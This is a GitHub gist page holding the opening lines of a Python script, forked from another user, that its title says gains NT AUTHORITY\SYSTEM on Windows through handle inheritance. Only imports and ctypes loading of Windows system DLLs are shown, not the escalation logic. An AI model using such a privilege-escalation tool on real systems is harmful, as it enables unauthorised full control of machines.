Skip to content

Instantly share code, notes, and snippets.

@tree-chtsec
tree-chtsec / popshellslikeitsatuesday.py
Created August 17, 2025 03:17 — forked from makelariss/popshellslikeitsatuesday.py
NT AUTHORITY\SYSTEM through Handle Inheritance using Python
# -*- coding: UTF-8 -*-
import enum, os, sys
# https://twitter.com/highsenburger69
from ctypes.wintypes import *
from ctypes import *
# These libraries have the APIs we need
kernel32 = WinDLL('kernel32', use_last_error=True)
advapi32 = WinDLL('advapi32', use_last_error=True)
shell32 = WinDLL('shell32', use_last_error=True)
psapi = WinDLL('psapi.dll', use_last_error=True)